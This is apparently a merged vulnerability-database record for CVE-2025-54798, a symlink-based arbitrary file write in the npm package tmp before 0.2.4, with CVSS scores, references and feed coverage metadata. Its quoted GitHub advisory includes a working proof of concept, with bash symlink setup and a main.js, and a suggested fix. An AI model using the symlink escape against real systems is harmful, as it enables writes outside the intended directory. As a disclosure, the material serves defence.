{"id":"EUVD-2025-23895","revision":null,"records":[{"revision":"98fe5039cc094e4fa234cfea62aefb7d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-54798","aliases":[],"title":"tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","state":0,"publishedAt":"2025-08-07T00:04:35.37+00:00","modifiedAt":"2025-11-03T20:06:39.242+00:00","affected":[{"ecosystem":"Vendor product","name":"node-tmp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"raszi\",\n                    \"product\": \"node-tmp\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.2.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","score":2.5,"severity":"LOW"}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6","https://github.com/raszi/node-tmp/issues/207","https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-54798","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-54798","identifiers":["CVE-2025-54798"]},"retained":false,"historicalAffected":[]},{"revision":"961179bde02444798a4cecc2cca3c078","observedAt":"2026-11-15T08:31:25.808+00:00","statement":{"source":"euvd","id":"EUVD-2025-23895","aliases":["CVE-2025-54798","GHSA-52f5-9888-hmc6"],"title":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","score":2.5,"severity":null}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6","https://github.com/raszi/node-tmp/issues/207","https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-23895","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 7, 2025, 12:04:35 AM","dateUpdated":"Nov 3, 2025, 8:06:39 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2025:15502-1","title":"jupyter-nbdime-7.0.2-23.1 on GA media","vulnerabilityIds":["CVE-2025-54798"]},{"id":"openSUSE-SU-2025:15506-1","title":"jupyter-bqplot-jupyterlab-0.5.46-13.1 on GA media","vulnerabilityIds":["CVE-2025-54798"]},{"id":"WID-SEC-W-2026-0778","title":"Dell Secure Connect Gateway Policy Manager: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2014-8991","CVE-2015-2296","CVE-2019-6778","CVE-2020-10756","CVE-2020-13645","CVE-2020-1983","CVE-2020-24455","CVE-2020-25219","CVE-2020-26154","CVE-2020-29130","CVE-2021-3592","CVE-2021-3593","CVE-2021-3594","CVE-2021-3595","CVE-2022-40897","CVE-2023-22745","CVE-2023-5752","CVE-2024-25621","CVE-2024-29040","CVE-2024-6345","CVE-2025-10911","CVE-2025-11226","CVE-2025-11468","CVE-2025-11563","CVE-2025-11731","CVE-2025-12084","CVE-2025-12781","CVE-2025-1352","CVE-2025-13601","CVE-2025-1372","CVE-2025-1376","CVE-2025-1377","CVE-2025-13836","CVE-2025-13837","CVE-2025-14087","CVE-2025-14512","CVE-2025-15281","CVE-2025-15282","CVE-2025-15366","CVE-2025-15367","CVE-2025-15467","CVE-2025-24294","CVE-2025-28162","CVE-2025-28164","CVE-2025-31133","CVE-2025-3576","CVE-2025-47273","CVE-2025-52565","CVE-2025-52881","CVE-2025-53057","CVE-2025-53666","CVE-2025-54770","CVE-2025-54771","CVE-2025-54798","CVE-2025-55752","CVE-2025-59375","CVE-2025-6075","CVE-2025-61661","CVE-2025-61662","CVE-2025-61663","CVE-2025-61664","CVE-2025-61748","CVE-2025-61795","CVE-2025-61984","CVE-2025-61985","CVE-2025-64329","CVE-2025-64505","CVE-2025-64506","CVE-2025-64720","CVE-2025-64756","CVE-2025-65018","CVE-2025-66035","CVE-2025-66293","CVE-2025-66412","CVE-2025-66614","CVE-2025-67721","CVE-2025-68160","CVE-2025-68973","CVE-2025-69418","CVE-2025-69419","CVE-2025-69420","CVE-2025-69421","CVE-2025-69873","CVE-2025-7039","CVE-2025-8291","CVE-2025-9187","CVE-2025-9820","CVE-2026-0672","CVE-2026-0861","CVE-2026-0865","CVE-2026-0915","CVE-2026-0988","CVE-2026-1484","CVE-2026-1485","CVE-2026-1489","CVE-2026-22610","CVE-2026-22695","CVE-2026-22795","CVE-2026-22796","CVE-2026-22801","CVE-2026-24734","CVE-2026-24882","CVE-2026-25646"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-23895","identifiers":["EUVD-2025-23895","CVE-2025-54798","GHSA-52f5-9888-hmc6"]},"retained":false,"historicalAffected":[]},{"revision":"f21c997bdab84ee0bd2b04025f7789a2","observedAt":"2026-10-25T03:17:11.863+00:00","statement":{"source":"nvd","id":"CVE-2025-54798","aliases":[],"title":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","description":"tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.","state":0,"publishedAt":"2025-08-07T01:15:26.203+00:00","modifiedAt":"2026-06-17T09:40:43.42+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","score":2.5,"severity":"LOW"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b","https://github.com/raszi/node-tmp/issues/207","https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6","https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-54798","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-59"],"productCriteria":["cpe:2.3:a:raszi:tmp:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2025-08-07T01:15:26.203","lastModified":"2026-06-17T09:40:43.420"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-54798","identifiers":["CVE-2025-54798"]},"retained":false,"historicalAffected":[]},{"revision":"bf7752eac97f450ea471ac74dc95cb6c","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-52f5-9888-hmc6","aliases":["CVE-2025-54798"],"title":"tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter","description":"### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system's tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.\n     absolute paths are fine as long as they point to a location under the system's default temporary directory.\n     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n     as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n  if (name.startsWith(tmpDir)) {\n    return path.resolve(name);\n  } else {\n    return path.resolve(path.join(tmpDir, name));\n  }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n  if (option === 'name') {\n    // assert that name is not absolute and does not contain a path\n    if (path.isAbsolute(name))\n      throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n    // must not fail on valid .<name> or ..<name> or similar such constructs\n    let basename = path.basename(name);\n    if (basename === '..' || basename === '.' || basename !== name)\n      throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n  }\n  else { // if (option === 'dir' || option === 'template') {\n    // assert that dir or template are relative to tmpDir\n    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n    }\n    let resolvedPath = _resolvePath(name, tmpDir); //<--- \n    if (!resolvedPath.startsWith(tmpDir))\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n  }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require('tmp');\n\nconst tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});\nconsole.log('File: ', tmpobj.name);\n\ntry {\n    tmp.fileSync({ 'dir': 'mydir1'});\n} catch (err) {\n    console.log('test 1:', err.message)\n}\n\ntry {\n    tmp.fileSync({ 'dir': '/foo'});\n} catch (err) {\n    console.log('test 2:', err.message)\n}\n\ntry {\n    const fs = require('node:fs');\n    const resolved = fs.realpathSync('/tmp/evil-dir');\n    tmp.fileSync({ 'dir': resolved});\n} catch (err) {\n    console.log('test 3:', err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n  let resolvedPath;\n  if (name.startsWith(tmpDir)) {\n    resolvedPath = path.resolve(name);\n  } else {\n    resolvedPath = path.resolve(path.join(tmpDir, name));\n  }\n  return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink","state":0,"publishedAt":"2025-08-06T17:06:04+00:00","modifiedAt":"2026-09-10T03:50:26.5946186+00:00","affected":[{"ecosystem":"npm","name":"tmp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.2.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6","https://nvd.nist.gov/vuln/detail/CVE-2025-54798","https://github.com/raszi/node-tmp/issues/207","https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b","https://github.com/raszi/node-tmp","https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"],"sourceUrl":"https://github.com/advisories/GHSA-52f5-9888-hmc6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-52f5-9888-hmc6","identifiers":["GHSA-52f5-9888-hmc6","CVE-2025-54798"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-16T12:44:53.7069159+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-16T12:44:53.7069159+00:00","lastSuccessAt":"2026-11-16T12:44:53.850219+00:00","error":null,"lastVerifiedAt":"2026-11-16T12:44:53.8502206+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-6be044d0e08779dadd136f949a536de4047af96f5d7bceb7e190ecffbb8f18ca-237c53704f95a87effe0a1147a1bcf3cd93376e65fa4303e1b86b3915f8b7c7a","complete":true,"records":425970,"lastAttemptAt":"2026-11-16T12:44:53.412921+00:00","lastSuccessAt":"2026-11-16T12:44:53.3189092+00:00","error":null,"lastVerifiedAt":"2026-11-16T12:44:53.412921+00:00","snapshotPublishedAt":"2026-11-16T12:28:00+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ea8954ba9b8a4f759f7e51e8bc4698ca","complete":false,"records":13821,"lastAttemptAt":"2026-11-16T12:46:28.5866342+00:00","lastSuccessAt":"2026-11-16T12:46:28.582+00:00","error":"5 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T12:46:28.582+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13869,"expectedIdentifiers":13874,"failedIdentifiers":5},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-16T12:44:53.7069159+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-16T12:44:53.7069159+00:00","lastSuccessAt":"2026-11-16T12:44:53.8509796+00:00","error":null,"lastVerifiedAt":"2026-11-16T12:44:53.85098+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1ca26f249fe448ada48a3a7b82aa64d9","complete":false,"records":13833,"lastAttemptAt":"2026-11-16T12:45:56.1167563+00:00","lastSuccessAt":"2026-11-16T12:45:56.113+00:00","error":"400 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T12:45:56.113+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13874,"failedIdentifiers":400},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-16T12:44:53.6598825+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-16T12:44:53.6598825+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-16T12:44:53.4548081+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-16T12:44:53.4548081+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-16T12:44:53.6730048+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-16T12:44:53.6730048+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-263d9c8d63997345727b11314d9b9377eba9fd4146f04497c069a15e332b60cb","complete":true,"records":232482,"lastAttemptAt":"2026-11-16T12:44:53.5565665+00:00","lastSuccessAt":"2026-11-16T07:32:30.5701252+00:00","error":null,"lastVerifiedAt":"2026-11-16T12:44:53.5565665+00:00","snapshotPublishedAt":"2026-11-16T06:48:00+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}